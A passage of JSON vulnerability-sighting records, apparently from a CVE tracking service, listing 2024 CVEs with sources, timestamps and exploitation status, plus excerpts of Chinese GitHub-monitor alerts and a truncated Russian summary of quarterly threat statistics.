"https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "565b7925-31a9-4d50-99d7-8774b5c6c3e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40970", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "be60e7b2-73d8-47ab-996f-df72a4c1ad49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40977", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "6c9b87dd-25ff-456b-9d4c-1605e0dfa3a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40910", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "c7ff37d7-9ab3-419d-96c5-4360da2c26eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40971", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "745ff32d-4978-4446-8bd0-c98aca50339b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40967", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "257f7558-cc5b-4126-85df-727bfc7d34cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40911", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "6d94711c-74cd-49f6-9f72-8b559921e9c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40947", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "aeeeaab0-1f15-4789-a467-4c415da0cb59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40990", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "0e4eb05a-3783-406c-8ecd-f5887eb6b715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40966", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "a23a2d4c-2849-4922-ad9a-05e0558ee45c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40918", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "5a95df3f-e7c6-4260-8dda-5563713f79a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40973", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "957cd5f6-92b1-4944-952c-0442b53255c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40965", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "29c4549d-4b32-4943-94ae-e2f94ac2b054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40969", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "07b89cff-05c9-4e24-b391-9ceae4187f5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40999", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "ab6e362b-6ae0-4172-8ac9-d3872b43eee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40976", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "59ce4465-7f35-43aa-83db-b11fc65201da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40929", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "d94175aa-1ed1-4fde-aeff-c8219351bf37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40998", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "3f8a794c-fee2-4126-84e8-2fa15adba94a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1358", "content": "", "creation_timestamp": "2024-08-23T04:00:00.000000Z"}, {"uuid": "8032547d-e918-45a7-b91f-1ef331b0e4d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_20/2024", "content": "", "creation_timestamp": "2024-09-09T12:53:15.000000Z"}, {"uuid": "820754b0-3857-48a8-80ed-d400fc7a36e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40660", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/aaa30339-107b-4cb3-8a1a-3e5d8398b429", "content": "", "creation_timestamp": "2024-11-07T17:04:54.853683Z"}, {"uuid": "bbec4fcf-c319-4a55-b461-6aaf3763fcf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40661", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/aaa30339-107b-4cb3-8a1a-3e5d8398b429", "content": "", "creation_timestamp": "2024-11-07T17:04:54.853683Z"}, {"uuid": "9fb2a2d1-98c3-4bb5-bd09-7b6251d79b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40671", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/aaa30339-107b-4cb3-8a1a-3e5d8398b429", "content": "", "creation_timestamp": "2024-11-07T17:04:54.853683Z"}, {"uuid": "7c77412a-9374-49ac-9fa6-1fc65dcc9867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40765", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "9ecebc29-7ae5-4cd5-a970-a0557c78879e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "3e4188ef-60f8-456b-969c-afba78e65a01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d3075493-7100-4a9c-9b70-41f0581a825c", "content": "", "creation_timestamp": "2025-02-05T18:26:54.586561Z"}, {"uuid": "4fc86773-a883-4d42-8756-f54d459bf70a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d3075493-7100-4a9c-9b70-41f0581a825c", "content": "", "creation_timestamp": "2025-02-05T18:26:54.586561Z"}, {"uuid": "4d70d76c-4326-4b21-b8d7-4c836d0b17f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40763", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/ff9a96b8-41b6-43fe-b430-913aad09c4c7", "content": "", "creation_timestamp": "2025-05-05T07:56:53.581572Z"}, {"uuid": "4b62b380-431b-45c6-b8c8-655d946e8f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-40653", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/9d7fef5d-952d-4ecc-880d-94d02304e7a3", "content": "", "creation_timestamp": "2025-07-30T07:59:24.597474Z"}, {"uuid": "4829cd2c-acba-4dbe-a669-74a6db3699ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_1/2025", "content": "", "creation_timestamp": "2025-01-08T09:23:12.000000Z"}, {"uuid": "fc3ce506-aa85-4a17-8b8a-a3446eed8231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1607", "content": "", "creation_timestamp": "2025-08-07T04:00:00.000000Z"}, {"uuid": "5188c10a-07fb-413a-83ea-b32397c2447b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1606a67b-330c-44dc-b00a-8237c470c2a6", "content": "", "creation_timestamp": "2026-02-02T12:26:14.123865Z"}, {"uuid": "b4f5346b-053a-4737-83e5-b4a81213bd84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/89273c87-aa73-4f7a-a840-c748fde773b0", "content": "", "creation_timestamp": "2026-02-02T12:26:37.615777Z"}, {"uuid": "85a2c020-49e1-4184-aad4-f4ec7d050c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9c437326-e8f6-47c0-8ac3-e583d4d543e3", "content": "", "creation_timestamp": "2026-02-02T12:26:25.851148Z"}, {"uuid": "abfbd986-850a-4e91-99d9-2ea80cc06f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-40890", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a14d77b2-dbb0-4eeb-b0fa-92c43c60cca3", "content": "", "creation_timestamp": "2026-02-02T12:26:14.236987Z"}, {"uuid": "66f9e671-ea4a-493f-8e60-1b63592d97fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40849", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mik5xcpvlq2k", "content": "", "creation_timestamp": "2026-04-02T21:35:27.344147Z"}, {"uuid": "f4142607-a2d7-4349-9f8a-a554c54b8935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40858", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mik6236rei2j", "content": "", "creation_timestamp": "2026-04-02T21:37:00.207333Z"}, {"uuid": "0719712e-8e75-4fd3-ad2d-7a2529e1bfa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-05)", "content": "", "creation_timestamp": "2026-04-05T00:00:00.000000Z"}, {"uuid": "f916b483-f2e6-4151-a845-dc34e301aeb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40489", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mitqgvoblh27", "content": "", "creation_timestamp": "2026-04-06T17:00:23.124224Z"}, {"uuid": "52ff8e0b-6bc9-43c8-b445-824d8f63ba88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40508", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7977", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aOpenPetra v.2023.02 CVE-2024-40508\nURL\uff1ahttps://github.com/Jansen-C-Moreira/CVE-2024-40508\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-13T21:56:21.000000Z"}, {"uuid": "6225d0f2-5548-467d-bdeb-4baa549654ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7871", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-4040 PoC\nURL\uff1ahttps://github.com/truonghuuphuc/CVE-2024-39943-Poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-05T07:12:36.000000Z"}, {"uuid": "66881bd5-394e-442a-96bd-45992adb9dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8023", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aWhy GNU IFUNC is the real culprit behind CVE-2024-3094\nURL\uff1ahttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-19T03:58:31.000000Z"}, {"uuid": "d4f9a8b9-4c7d-407b-b083-056f8d313725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40507", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7979", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aOpenPetra v.2023.02 Use CVE-2024-40507\nURL\uff1ahttps://github.com/Jansen-C-Moreira/CVE-2024-40507\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-13T22:10:52.000000Z"}, {"uuid": "8ecfa52e-bfc4-4fe3-8b92-81a61da16338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40510", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7978", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aOpenPetra v.2023.02 CVE-2024-40510\nURL\uff1ahttps://github.com/Jansen-C-Moreira/CVE-2024-40510\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-13T22:05:40.000000Z"}, {"uuid": "a212f04f-494d-4acf-b2b2-a335fc2e6422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-4032", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0395/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "484cdd61-dc20-4791-85bb-982a4189a2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/S_E_Reborn/6053", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437 \u0432 3 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 (\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u043e \u041f\u041a - \u0437\u0434\u0435\u0441\u044c, \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 - \u0437\u0434\u0435\u0441\u044c).\n\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u043e \u041f\u041a \u0432 \u0442\u0440\u0435\u0442\u044c\u0435\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:\n\n- \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0442\u0440\u0430\u0437\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 389 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0430\u0442\u0430\u043a \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432;\n\n- \u0432\u0435\u0431-\u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 \u0441\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b \u043d\u0430 52 \u043c\u043b\u043d. \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a;\n\n- \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u043e\u043b\u0435\u0435 21 \u043c\u043b\u043d. \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432;\n\n- \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e 2,2 \u0442\u044b\u0441\u044f\u0447\u0438 \u043d\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u043e\u0432;\n\n- \u043f\u043e\u0447\u0442\u0438 85 \u0442\u044b\u0441\u044f\u0447 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u043e\u0432;\n\n- 15% \u0432\u0441\u0435\u0445 \u0436\u0435\u0440\u0442\u0432 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u043e\u0432, \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043d\u0430 DLS-\u0441\u0430\u0439\u0442\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u043b\u0438 \u043e\u0442 Qilin;\n\n- \u0431\u043e\u043b\u0435\u0435 254 \u0442\u044b\u0441\u044f\u0447 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 \u043c\u0430\u0439\u043d\u0435\u0440\u0430\u043c\u0438.\n\n\u0418\u0437 \u0433\u043b\u0430\u0432\u043d\u044b\u0445 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0439 \u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435:\n\n1. \u0423\u0441\u043f\u0435\u0445\u0438 \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u0435\u0439:\n\n- NCA \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0430 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0438\u0445 \u0430\u044d\u0440\u043e\u043f\u043e\u0440\u0442\u0430\u0445 \u0432 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2025 \u0430\u0440\u0435\u0441\u0442\u043e\u0432\u0430\u043b\u043e \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u0435\u043c\u043e\u0433\u043e.\n\n- \u041c\u0438\u043d\u044e\u0441\u0442 \u0421\u0428\u0410\u00a0\u043f\u0440\u0435\u0434\u044a\u044f\u0432\u0438\u043b \u043e\u0431\u0432\u0438\u043d\u0435\u043d\u0438\u044f\u00a0\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0431\u0430\u043d\u0434 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 LockerGoga, MegaCortex \u0438 Nefilim.\n\n- \u0412\u043b\u0430\u0441\u0442\u0438 \u0421\u0428\u0410\u00a0\u0438\u0437\u044a\u044f\u043b\u0438\u00a0\u0430\u043a\u0442\u0438\u0432\u044b \u0438 \u043b\u044e\u043a\u0441\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044c \u0443 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 Zeppelin.\n\n- \u0412 \u0445\u043e\u0434\u0435 \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u0434 \u0444\u043b\u0430\u0433\u043e\u043c \u0424\u0411\u0420 \u0421\u0428\u0410 \u043b\u0438\u043a\u0432\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 BlackSuit.\n\n2. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0430\u0442\u0430\u043a\u0438:\n\n- \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438\u00a0\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u00a0\u0440\u043e\u0441\u0442 \u0447\u0438\u0441\u043b\u0430 \u0430\u0442\u0430\u043a Akira \u043d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b SonicWall \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 SSL VPN. 